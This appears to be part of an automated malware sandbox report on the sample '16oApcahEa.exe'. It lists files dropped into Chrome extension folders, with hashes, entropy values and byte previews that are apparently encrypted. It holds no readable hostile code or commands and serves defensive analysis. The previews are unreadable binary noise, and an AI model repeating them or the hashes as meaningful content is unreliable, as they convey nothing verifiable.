SHA-512:	894F1DAF56628031D3D027B284EB83502B0747AE92E3B4C95D2DF9907FBD18830990693F9A26A6730E2674C243D0ED2C6CC814B7BD3A11802E41455E02D1B84E
Malicious:	false
Preview:	{. ".@..m.\|p?<\..t.y.I..k\|.=!...'.:`?.R=...~v...%.E..h....0...ac...Tv.N.!....-sN..H.....,.....1x....fG..NC$#.rm..O..N.l...W.>N.y...v.../.\).....T.......Mi.../...)..m.2.>DbHTP.q.=)..Y..J...I.H=T~I..U.~.U..c8....k.HuiV..g..rP..N.g.9M.qY.......Fw;..$..............W..J..WsC.>.......'.Bhw.p.T.:...........b...`.#F.2.S..<H..I..}o....i(...W$..C..6..`.9.y...h./}}.._.R_\|^h..$\.I.w.0w."..W.......SI<%x.t....#uA..L..)z.1.k...1x.k...X..N.j....Hd9.R.H......<.=`..Y.g1.l1...c..........0GC..y.-(...i......Fp..9.\|......R...,.K...b.....P,I....dq...]....j..l.i.xY+...cV.<B%_K...7.{../.....b........4o.U......g.i.}.I6p..4.GMH>.....U....Rv..'.Wf...es0.,...0.Or.m.5I....'..%.FB'.ig..[..pO...... k]...Q........b........R1."..l...?.k-+....DN.Q.g.]G....9.....AG....3..........G1E...:.....k....:R.&...k..2...._.A.e.-=je9i.m...R....>...{.y.^..d.(ez.h..lz.Cu.$O.Z.}O.....l.K.v..n.2$...6..C.!.;.^....m.,......8.uBI....v{.&...?&.[...V.....~.....I=...`..6-*..vy...W

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	80603
Entropy (8bit):	7.997865048591889
Encrypted:	true
SSDEEP:	1536:P6AnlYbFdWZK35/3edyDJR0TZR2b0ua4nK9HdTbgL0DhSgXo8YGD/RC7:yAnCAZKt3edytKVHG4DhhfDk7
MD5:	E555773C4D7714D06685F5D39C29C8B0
SHA1:	47C2A58D02219EBE5AD9994CC0966B789A9F7E01
SHA-256:	2F40050DAA7E13ADFD77C9537AB4CC8F35E9B40C7ED85C1CA7F2962C3CF91D90
SHA-512:	74D593601E572B3653611C8A5851F109B8FE513F98929E83FD3D602EAE224298DF9F75BA4113054E9B6A4A54A88B30A536299EEC322A64FAF201658301C205BE
Malicious:	true
Preview:	/.. .g...].1}>4..J.90k',.y3....D'...K."V.....h.9..W..\|.*D..E.$....^K~....dm..x.t..H......D...E...I...6}...lB........(8:xn....ns>..SK.-..h.e&...9......)~d.....<....3.......4..H.~9\|y..._..v.E.l=.1..>.U..wR.....C&.,.`..]^...@?.6'G....A.N5....5.(.G.+...i..9......u..2.n.M.0.$.~cys.g.8...vLd\|.V.q....,4.WX.i..%..I....Z.N..3..B..@.......akn...X...q&.g.F...h.=L..V.......h...m.U...H."...yT.....Y!d.....q2.M .=Y.2q...-5.6u.......`...@.eXAK.<...,.?....j.....F......B..y..uN_*...0......m.... .M~k(..Z5....BDN...b.._..P..\|.IaiC......TFd_.c3b..P.)+R..6..hxO.\|/..Cs..."8.....m...0...<.3..`. .(+..c.........2?........L.......4^Dk\...j.;.{W o...I)M...)$........f...n.......d.i..1@..#...w.....?.~..D..y.,.....4........F.z.1R9R..e..5AJ?...Y.Gv.._.=...v...;...M..N.......$..DQ....h..'-...;...9``....%..]../.R...$C.v..H......}......egk[QNfV..j)z.>+..l.J."Nm..&.9.do....,.......`.$.e..&e.D.{X.7;.....0.s..Hd..+....p.ax...$..#..w.bH.U/p..Z...JX..(I.......wt..x\|5A.a]..L..TK#o

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.94105926115555
Encrypted:	false
SSDEEP:	48:3hBum+bTvHYmwovYLOdVGqMakvZ30dy9cESH+8QSFtJ7gr3xn2DUPPBE/ZJD:xF2zHYEoX+GZEdEcBZ5tJsR2YK/r
MD5:	0443738CA143902EF151802726FA9ACE
SHA1:	D0AB753938F770E5987BD2703F2280FB30092F8C
SHA-256:	6E60C69FB08428690282859261AF8BD8A53FCDA3EB6486B881C6011BB5C5F817
SHA-512:	7F18B2CAA8DCD85227B84FD03F116AC97015413AAAFE67A69442AD1016689CAA03F4294B3D937F88947E3B58EEAB7C7DF2AD40CE53EEB94FCFA99142E72A7E15
Malicious:	false
Preview:	{.. #.VQ.7.{1.....6........n`......R=..i@VO..J.l..c...ECfKe.}.!..$H..q....L.:.CO.]-._$...i.nk......Vv\.....N..O....0l....R.~u.c.E...k.G...~.m2..+..)?..n..S...........^....9...#.....5......v.....pJj.&..E.;5.F.`...w....d+G.....f."V$B...(G=3!....c...4..4...Y...zY..Y.&....UE.x].yu."Ap..6...3...7../..I....~I.................1#t+qU..R.{.y.m)\|.....&....]8.M...a.....o..hT.>..`N.J....==..U........:...Cc._...y......CD..g.K.Z....E.h..V..c....&v..b..?G.......O..2.>.../....V...;0."...@.a...o@.\|.O..p.c.T.f...]p^29.hW.=...b.C..L........o.5...........:T..{E...E.g...K..nX.2..f.8.m..606..c.K3.f.~2e...sK.D.C._C.r.V..16N..+R..0.R....k_.=. ..mn."N...w.T.[.C.]:..>.@.2g.>J{...q.3._&0...u..9-e..."l.1.._.0r..DZX.?9.......X.{.!...4..\|}<...).g...C..2W.....pO...N/..`..+"..Os%..:.....r...p.....yc.E.......x....{\|7..x....l+b..Y,.3j\]..P..w....kS.....p..%xP..@....S.,E...3+$&..d.1...j..@..t...\.%....w....c..7Eo.." u.j>...C........ZK-...C.E.D..Q...^...<.A

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.6388623377942535
Encrypted:	false
SSDEEP:	12:2XadvrssmrnOVPerbbzc2kP3Wj81Hg0S6So4iMPeuRpJ9M2cii9a:2qOnOVFPS6J49pbD
MD5:	369DFA56036B4EB1E69722A474B56CFC
SHA1:	4BF6AC58E76A073D0139089F923A691B7A954032
SHA-256:	E7FF796895AD801BDF42C29D76CB49DD9750239337F2A59CCD9B28BBD9218B3C
SHA-512:	4F354032ECBC8FFD82C859734B41D19E97DC80DB311971668D10D35F7C5F6E3527141776F85913DCBB5E1EA49D92EAABA80875ED353BB5C2621D6B55F298C47B
Malicious:	false
Preview:	(funcG4C};....b..~_.7.....X.T...W.}.....`.v.3l.#9.~J..._....V...!....."...P......M.F....+[i'.?...V7.!w.UZ."m.{F.4...FV..).;.N.5.:{.l.t...r.....6y..`.m..<...Vn..\...$.K.......:....i&B..e..=Z!"......:..[4...+.(...^&..v.5.4.:OhC....AA.......M........@.0..{.H1..==..aX..u...p8...!..h....4..}.hjQ...\|.In..M.. Tg..;.mV..T.w......e~...s.\.b.....u..D.......8.2....}.9D.$.G.s.].(..?..B...@..._.B.....C....5/..0..T./....].=.c.....O....j2=.....6.%...h_v......c..x.<=..w....h?.#..?p...f.............4...^..../.a.~x....g7....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	11551
Entropy (8bit):	7.9827778227069635
Encrypted:	false
SSDEEP:	192:twc3LrZD7gPwCIi8HTEsoWIEnHGbF70jv+zoVcCmSiYO8O+VmYqGN2tkaPwdn:twc3LrZ3AwCIiQTEsoW9mb1QT6CNOZG5
MD5:	99DBBC04E8A4872062F9425489286E3C
SHA1:	F9ED4B016DF65F8CB383D59567BF9B517D2D71F5
SHA-256:	9FF425BE6A35D5C049672C935BCB8F6CB697235894C79CE3B54864746156F183
SHA-512:	F739D3D94EA8B44E61D7374C1CD0BB9DF38BEDF579BEC9F13F7B62F335EF94B6C2B4C9F73BA3CACDACBD70482A253EEE5340ECB0A1E11AC14712DF2545E3467A
Malicious:	false
Preview:	{"fil.....:..K2..%9..'....U..J.t!..].O\...qL..,..\|....m5....1....Y....nX%?...Y...d.#J....\|:<WH=N.Ww.K...!..,.......s.t$...K=..5...\|....=.."..'+..Z!.......D..j.N.......4U..c...m....z.@....+..B.-...k]."...'.'k..Z..xOxh5M.z...a]..9.........z.T........!.....r...#,kq...Hn.y..6..0!.......u..j.G.X.01`...v...u.....E.........$.u..g........L.E....:....`O.0......d..v..u..<.......e..j.....@.r.wO....JeU.. .Nr.....c.L.(..'Ce.^....q.vT.<..(v..Ve^...u...=.....h..pJ...'..U.L...L.gs.U.,.."...k...c.].....3..7.Y...M(L...9.X.!....+...L.G+.:......;...D..+..N..I...Ml...n..p...&...Ev..............<Jk5;.C...w.L....[..........c..].....P..~.8g2.u....1..D...66;.MWr6.@......J..$.].V9.o....u}'0..%~.P1..Do..D..w...,.+u\|/.j%...b=....}.).....T...!]>... .,\...G?..aB-.r..&.!.}q..f......).....5..&..;:.0.-.4h....g....#Wj..1..$.[.!.@/.5..K..\..9/..-.Nk........{R)..,.0....?.......$..@..]..L.h.ST..fM.....GA.W..x.W@.D4.I....]e<.l.@..v%Iy.$..kG.`.........v.m....`..I.$..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8114
Entropy (8bit):	7.978602103474711
Encrypted:	false
SSDEEP:	192:K95gdEZGdwZ3bEBS89+Do/IMMHaks8AE2JmghS44bWI1IX1iM:KDsEn389XI5HXs8AtJmgQ44bWziM
MD5:	7E18D2BD18CAC60DCAEF992A0BDFD477
SHA1:	9DF46089EFF531E7DEA34ADEE4E313B467CF6269
SHA-256:	EF692E56B8E7EA0782D16E09A3851D0701BE602DCB1611F37FDB6D276A0A933A
SHA-512:	1B8A43D92939C81C09DBD8A2B1344D4D9593BBC440D01AE5775CE20C421AF44045AD413810092445EF138178B06A916F2DA755F9D8DAD35A73238F14CDFA972B
Malicious:	false
Preview:	[{"de....3.. .7h. ...5<.2..L...0..............a.o.P!..1zYe....yU.&..l...\.....];.Qv.o.......nh....jHg.W,..,.H.\...%.. U.8...N..L.W.A......(;....`.....f..,)...-.$.Gk........U...z..+...R..[Y..p)ym........]....4&wN.].F&..z...?"..w.3..5.])..g..2.0'...S,..~_.........0`...1._3..DKk.<....>..>......2r..;.)...5e.@.....}..D........,"..Fa......t..?n..F..........r..=...........Xz.Cr.B....k.X,.V.<=..j`&......9...0:.!g.].......[...3j?\..P.W.n....?Nb.WB;....^,e{.+.....@H./..zd.....i.......p.o[>.;d..v.:).....e.}.fR..0\k....Jf..'n6I..(.l.f.N.....z...........b.wX..H.2..&h....[..[ ..=....#.....\...]....$.......OZ......#.%h...#..P....R~.hS..jm^..o..~..y..k..0\...&.....ZE./.:....M...4..t....B./U...(.[s.t.....w.da.W;j>`.yxZ.F.$.U..A...bz..8%8IA...........S.\CJ....5..8..\|.9.V._.Mo..K.@....,z.D..L1I"..y..q..->.M@h~N...L...s5.3.,.9t. 8..W$....s.E...Ua0....1..}....._Q..s.<Jl....&.K^.........d..../.l....+Q9..XQ.........[U..2Y8...-...l^<..^...f....r..5-.g...w..%bu.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	544977
Entropy (8bit):	6.602214550867334
Encrypted:	false
SSDEEP:	6144:fTQ4ehHyo/Yms3FJ+tEePSRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQV:fT9ehHbQFJ+tE8
MD5:	8EA4AAB7348A8F7C098A2F160A3FED8A
SHA1:	B7864E3A962AC6E5D0E1EC336FE6C99338DA517E
SHA-256:	3CF5BFBDBF6A6360150267FE57881ED3738A169E49B8F830242CEA9CB53F953F
SHA-512:	FAA5C562AFD98B4A5FDD65601CEBD664343910D94BC4F8B4701D3D8A995028DCB9522FCB73DCF585C376160DEC02894E73F214DF4473F7BBE815DE1936EE620F
Malicious:	false
Preview:	/.. .p...].D2i2xw..5.u.^/.HK?@z.8.S[..t...$.\|......T0^.x...\5..j.......4.w....:{...'..f.?..J).G.=..=....L.w/..I...>}&0p.h#.n.c... .M^..=L%..~c9.......r.....N4.,A_RR.JBcK..t{..,".7...R)X........3H.@.im...l...../;~U.A.bN..(.....&c.VV....NKP5.G'.!.WP.gw~H......r6@.\.(...p...z9...F.WB..`....q....20Q..Y3c.#..<..Q_i`K....o.l.....le....fDXc..).....`&.C.{vf...[.....(...$JP...-...d....A/Q.....o.&..\iWbA..T....U....2j5g....7p.....q.].M.U... .H...PD.`[n\|...DI.....g...#B.O.-.^.D.\|k.?..k.j.mj.v.:..L.SX.6>....{..By..#%.....Z...8.vP.R.......f..:\|...0?.(....=F,V.5.nX.O..X9w.p..I......`...N^_...?.\|..H{.h.......I...gU"./.K.......l=...w.`<el.m..^Wa...j.N1.. .F...]./..=...9..QeQ..w...>...P..>.nV.......\-k.3K.w8.q.+."....v;M....V.).f.'...A'..x$}....R.....tP`...t:....U..Y.>..[.A@..i~!=..U&#....Zv..N.....m....(p.5..F.....'iQ..yF..b`.{n......]\.r..~+..;H?._g}1G....!?\..lmaatn...2.Cu..U1..H.">.dU........_...O#wb...y1..m..~./.....P?.k.5....X4Cz..^j ~%c..+3..o

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	261650
Entropy (8bit):	7.48771066595381
Encrypted:	false
SSDEEP:	6144:TF1qjaWghG/b4c7ywJ+9WhQ4+e8e35cIvYx9FNNsZ9Dd/ceh:Tjqunobn0aQ4+eRcyeFIBdD
MD5:	65B7E8830E2B74CF11CF29F1C27035C9
SHA1:	29BEAB7199D5D94591F46C636A5148E96C9CFC5C
SHA-256:	138405B7F9077B0D263846D0E9427A8E5E5772B9B1C768A582D2675FE0BF3383
SHA-512:	002A1F5399F375B2F8AE35F6D5E57D9C6AF6B52C9F4E52336C097953E4F482FB5F8A9CD6C56D01F01C534471D09F4C934052FFFF779006E757FF8BEEA972D74B
Malicious:	false
Preview:	/.. ..KS`...-i.r.....L..m........l....\|..z..B..?j.....l..)c.."x.AN^.O[...M.....f.t%......,.gC.fU.>8..}.....~&..)~(?`._ W-..,...P<...[..J.._u..ur.u.K.N.g..7....CS.ilQ.cK..#.eF....Idu...~8q..9&F\|...LO.{...+..2.=.. ..a..."..].=8..Zy3\|"....ZT............S............l~....#a.?..s..$#..........c...u.>o.&&X..,...B...}.j...MCGv.c....g...9.O;.Cn..a+..q[....q ...i......,.i.7.2i...'..W3..N...{..G..0.hL.(9.V5.X....B....)}S.i....v...<..#.O..x..Z..f.......0..q.K).z.K..-.k..\!.z...........}%.......9.......Ry...DF;V..jUR.N.%Ko.Z..@.Z....j..t...=..N.M.....Ba.....=,1.q.b,0.....[..P.4F.z..p.....l`...w..]P....+hx>.'...S3..DQ..5{.:.K9T...G.4.[.f.......Z..CK..US...TI.%0bab.\|n....L...s........}.kL.Ge...w.,..-..d.!D......u..(.1...,.?..xWf.oT.\..HJ.h.C....=...A./P.[.....KNK..(!....c.....n....O>.+.y.8v.).H..lQ.....N`9W@...o..J..Y..,.d.....^..XW:H1.M.K.....\|..O.a....8...{.^.t......8....(m...I..Qg0}xoa...)".dAO...j..x.s.....z.;..}E....A....!..x..~.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\craw_window.css

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2075
Entropy (8bit):	7.900935934226848
Encrypted:	false
SSDEEP:	48:dwVX6NO+mUcq8vcrsFXDsncLVHSaexakVv0ZNVqUNJD:SVXeOoctwsFYNFeVq6
MD5:	057AA639E06AD9F5DFAEA19FD8E74493
SHA1:	FC7472EEBA2410579998B20762FE9F9C422B2E63
SHA-256:	4CF939939E6CAF1DD9652A285ED65AC3D90F4A39ADEC2B312AF196DD2231E3E4
SHA-512:	6C893E8F3FAD4B790E6BA9C87B1E3899038DB3AFBAE1E8735DE924CA50D3D07E88B9DC6E2425D325071021CFC667D1B02900A4BB49D11E755297508C873A1F37
Malicious:	false
Preview:	html,.VXX....(e?..,.u..Ag.s.@..9B...k....IT../-..}..QDN'...lpm...@l.=i....P.b\.xy9~......A.jf...1!.<.p5a....'.............>........?.j.f..#ypm..).9.Ai.......3...Mf..1...I..;Z..n.Th....[VP..(..?..8.n.%..&u..q...\|X.....;-..,!.)H+.. E....t....S........y..p...Y.s.....<\.y9.YJ7.I..~...Y.9=...:.e(........5^.I..T8. 0.:4hA2......}.e7@H...E...L..M..,........rd{......I..J}....8...i..H.&7.....,...p.s.+...=@...""]....e_(........M..Az......4...@.q....D..of..@&..B+n/_Yj6...B....&a.t..?..f".X..\|5..y......\Nm.X~C....Tp.X._f>&W.G.}>`,a.. IX.....V..c........W.....B...-^_xy..\|T9Y...L.px.t..H8.D......#......u..&.I........lz.3f......0.+...j..p.@....m5M0.3..'}....hTe+X..h.....k.D..k.G$.V..F..!b.j.=dF..,.t@cz...O..U..e..<....H..9W.,...`g%...p.1...x.n...._(55p..j..ys..E#.^...C\|.d9H...Z'..f..;E.:..Z.....9...EB..Z~O.......r..B.m........&I...=.......f6......f.)8..:..h&.7\..x.b....?.......}..4..#..-#a..R....i@....=si..).?..!..(..P.R.W..N....hi...A..W)].K..@

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\craw_window.html

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.826512556270167
Encrypted:	false
SSDEEP:	24:U7PvChUF/cdre4RHgCk5/nJTf+gxNBNDKzyH0n1JFx4JYmxhVICMF9pbD:aPvChe/cE6HvgxNuzyUnn4Omxf1M/JD
MD5:	73F3DD98C31CCA3B78189C0B866F5E38
SHA1:	DF01D666C49EE5A821E06148F95EB1A5A00BA6F7
SHA-256:	D566CFC58896A05D530DABC9042DA10B2A39E82E9E0AA76BBD2FDC5DC8122FBF
SHA-512:	83F4CCC3FE7E4F63B152B07BFF379CCAA66181CB5FCD1A1E2639F97F487DB86432D521707C8F84909C9374E13B59830F0D130F1E13225816740C699B949A1949
Malicious:	false
Preview:	<!DOC......z5.,;.j.......=......e...:..5.....K_........6.q...9.!......v..3]u.t..j.H..D\|.....!....t.2..e.P.\|.t...R........i0......{".....*..U..a<....N..u..J.2.P...^..7.....<..!.......Gk.M.<....L.......Ww..].=r.U..."...).UC.&.i.C.....N...~`:.w..M.f[..?.A..S........b.W.A...#...%...G..?=uN..&.i._.x..8...Y.&......h..\|}.\.:..8....&v..-.%..E(kd.....-...X.E...I....:u.^..t>($g.O.6j^..Vr..z..l....Z...C....8z./p.+......(..q...;.q..\|.Q.b..UA_e.trG5...s.{.r.E..,..I...gB....R.%..}..e...vjz..U.A;..a-.....Q.]$.Y]....#64....h.)..vay.....z5?S........_.C8....+.y....d....A.......6....u...^.....eH.....{.r.Fq.?..C~......../..^...T$..G...G..1...[B....6.....P....H..g........~~P......k...G&s.:....h{`...C....u.3<E4 .o..t.+.w.:..........hoY3...7at....._........\.......h..'Uhz.3y.ES(...?.~..u.e@1)v56...A..Jw...<.~..\.8.D...M.7.T.Z#...B.,QYL1..{..v..RL........9.@a....R<v(.K....-R,.6....d$....'.u.t.>...^M!...9.[Z..`....[g$Z..]%._.L ..v..S.{._..o...B.V..D.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	GIF image data 28578
Category:	dropped
Size (bytes):	70698
Entropy (8bit):	7.99710228056835
Encrypted:	true
SSDEEP:	1536:3pZdIGeSvhCkANXTkUa+fiUXAsy3LoT5UAs6hBtCT1KJ:3p44ZRGXTzVXPy7oT5U56TtOk
MD5:	92B5FE3C44A9CA37CD3B0F2E55DD30CB
SHA1:	D1E250DE98EA94985B7FF07C2B7664EB323C0525
SHA-256:	B2F63B4D6F8CC63DC05A6957B6FECBB492C252B19E274E2427AE7A3A1A21F593
SHA-512:	1E866D1CB51C15369515A16B17AAFFE93D880BE60D25E5E52D07B9E59AC78DA46393D0E5EE67EDC3E8D6D3CE9483043023ADA9DB4B430C832A84550D25FAF55F
Malicious:	true
Preview:	GIF89...o$.,V..7.M....R<e....5..Ml..I..3.dc...f....+4.7`../\|p.;R.V.(.hZ/...../..s...H.)7......$X>4.?.P$A@y..'....rM.....z..A.i.2......X....o.y5i.Y......7.......x..g..m.)...}.w..../G.....?...h7.J.^T.8j{N.=^>o8dx..).......k.ts}f.w.m...Z..0.lO.>u.X!.ry~....fMh..Ox......Q[.....}..fNn..e@B...tX...O.?.\..r.C...X....$B....^....a.d...&........c........,...:.(f....+.X....8V....!2%.D....QejfR..F...Z+0.;..R.Ji..G...N.f...\|...u8(<...I.z....bo`AN.~..>b..1l.0/U.1..B..K...~..(+..P.%...._.h....Y...=...7..4.m.S..l.a.qWU......v?b.9. ....H.?0C.....xL...zgg.@qK9J..&...<.~..ps.4!V.E.oCq...r.3..&v.wo..k...W..$..).+.&...+.B[....F..R.....@EQ..:.oIN.e=:..]j...^..tf[..<<.....O.V..P.o...c..Y..<~......o..._..}..0.......pa..4..~...3...l..!O5l+...+.. E%.........i..}vAS..)6....F..U\|?.....RS.~..7....y...p......................yR...C...a.....=B&......U..].q.F.p...IW../N.^H.L..`......s9.$..j.Is....I......,.X.c...d.....2....hC.#......#F.\.(...$!.0~N..Q.z...p.Bi

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4698
Entropy (8bit):	7.9610305978403595
Encrypted:	false
SSDEEP:	96:0hnehJUibWA7ppUE04qm5vIURgDNMMXDawYNy4ru/9Ky0OtCpdE5CU:0uWAHUE0455vtwM+DRKy4S/9Ky0OqdEF
MD5:	6A6B73ABD2971871D418BE444649B428
SHA1:	062EAD203193D85337BAB8F9E53A89D88B4F147E
SHA-256:	1E9548A6FABB141E3EBE51C7E2631917EEFCBB7B421DDE6C3C133CABF4A10959
SHA-512:	732215A00092B1F9A273DB44853254D7D794325F7D3E2E63FF47D2CEFB60025BB6D1C503DE944922C353F624CCC65D880B3E7329ED821D6C32D00E3AD2421166
Malicious:	false
Preview:	.PNG...Y..<E..A!...;.#.oRO...r.kR7.J.G....... ..{.`U_A9#..^..Ye.P:I.S..w.x.qG......!1.E....i...v. q..c..\.kc..\..z.K\|..<_...U.1......U.e4S3...`...]..O.0?!..6^k..s............."T...\n.Gl.(...`.{rL..].$F.....Q..Rsc.KN}.<&.....i./.L`.'XIqh....N^>..zHb...j...'...H.8....q{.g...5.\........%..7.H..L.y..{.).......8.U3........%.'....+b....ij....'..4)e...=.....oG.v......Z..X....q1.;.b,<......1.IK.6..lC.u.Fz_.....R.t.pK...u.!...a..7W'..@Vr...)..............~.#uvqba.1..4q.;..`.A.5=Nt............!0h...f.n.......;y]...=tN.....D9..YH!...j...)u..P.u.........r..v...........z.......)....7..9..S.E....1.T._ ..{?..e.4N3....x..;)S.V...7.~{..+.....^.b...Th..n#..C[Y..........v. ...R&VP.....F..V=...+%t..\qp2.8..A5D..g"...^....s..Y......9<".....T...._......pi\|.>.^..YN+..%9.JC..lj.6a.g.$........)T..C2)....Z..i..B.c'D.mF..=.!Z...b..B..<K."6..p.Gc...IBQ.'......d.,.[.....?......?5.F..%9]..8.....s,p.....EW.+.tG...../..JJC...qA.:r...{..N.x........i)J.q.n..Z.y;.....I.2\|.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	892
Entropy (8bit):	7.762484190990538
Encrypted:	false
SSDEEP:	24:yTU3l4Viq66pzULW7p+V+CWnMnWx0WMgErCYfXCchwhTL71H0nv9pbD:OoyiqXULspQgMnmmgEuY/CvTtHiFJD
MD5:	BB681C3B84B420BCADF4F7C7D7CA093D
SHA1:	A94B1C6235BF0ED449DA6367DF240D2DF0538DCA
SHA-256:	829688375015D294E536F0E3C7E7805391F9455F65F0DBDD9A0B6849D590EE7B
SHA-512:	ED0E312FBABCBEE5A6B64AE11753FD33CF1F3BC86DDC6B6E16E4001D345742BB64380C3C8DCC549F2312F2E55248B38E06CE8663BBB514CE4A1AC62861F91A68
Malicious:	false
Preview:	.PNG.H=.p.....pw.>.......d.y....n........9.4..3.......`..o.K.w...v.....c.$.....)....<.......).$...^.UME....m.2.....<.=`T\....q.u}..#w1...9c.iK.9...C.R..n.0..!...&........W>Y..PG...\|.5.vR.......1U..o...P..;8.P[I`..vg...Os../.....=...\T3...-......B......6.....a"\.E.e.!\|......V...9r.......+./.&}...r..}.DoA.\.`.O.d.!..;\|.k..By1A...i..G.. Ci..<...<...NuzkZc...F.hX.....P.....'X..Q..!y0..u[G......@.).".(..W..B..?..~..O.....fP....P[......N..r..._.....oo.~..\.._-. .b.....b[.=....z:c+Z.S..8.S.$..u[.....L[(l..U.Z.U&r.........I..m.x. .k:q...d...`v[...q.v...(.(...~{...2...x..I....8E.S..9Io.....-....)b^....F ..H.jS..l.N`.`B.....2..(.e..^...#8d#Bj..}, @..).G).WW.?G.1b.\|ki..K.g&6...I..:dnm?.A....?....t+o~......DD.....6_.e......Mx..#..c97#..5....g'.gHdC.....m.(.ow..G.,PxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.552294751208183
Encrypted:	false
SSDEEP:	12:ySgt1bWXLtv3Ln7AqueJupvVYGi4NvBRchKZddoHpT5vm9M2cii9a:E4PnNtAvVSoPUwoH95e9pbD
MD5:	C46E6B6F9FF34BDAAFD9F046812FCEFC
SHA1:	5F6BC2568233F910FB1FF5B6CBFA9176F90F886E
SHA-256:	8C4FB045AD1CAA58BDA4BBC1514628909797270786F144E86885AB38CFAAC212
SHA-512:	3FD496247D051E1E715685FFFE3E0721EA93EC0F606916B985FEF2D1A17E72422664A1A949CF2E8854CE0B00F1BADA394ACF8A48CD4CF99126A41105B7F0765E
Malicious:	false
Preview:	.PNG..._:z....\.O.L.b.....`g.M.H...+x.Bj....+W(]..E........./.$Q.nW.6.]..P..a....1..NQI..m....f.c.B..@.v.V...yz6.......xe.......<.U2.N.......BI.`x..r..b...~..x...i..V...1.....?.P.".Yv..g.w..[A.>.6.....5...7..)r........htL....zS,\.r...=...]...1\.6.%s.6....5....p...(......UC..f..H]\|&._N..^q....G./G.....b.>..~.].K./k...'z...4S_0.K..X.']....7S.@.sM...4e0..6.....~........<.l..E....pe.PM....>$xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_close.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.521083047225735
Encrypted:	false
SSDEEP:	12:POJ2MwZ8bapUzKFW8vAeajJsmWZLKcl2Z6Ra19M2cii9a:/KDYvAVjKuG2o69pbD
MD5:	05D1CFBD8E4E1A126B4C4D33EBB1113A
SHA1:	1E61F5655AD3A5688B1EA9AB2494DE91551817A5
SHA-256:	4D4E61388BFB2975FBC6E5E086BBEC9D838B140A7BD4E7FEE7CDF4A1C0931276
SHA-512:	9B2268B0EA8B151AE78DF81FF29AE7D71196C71B9DBCB4652DBEA969C4A18F6D7E203379EF5C0FFBE853118AAE7FA5039C6CAC6479A9874E73B80342B5292C03
Malicious:	false
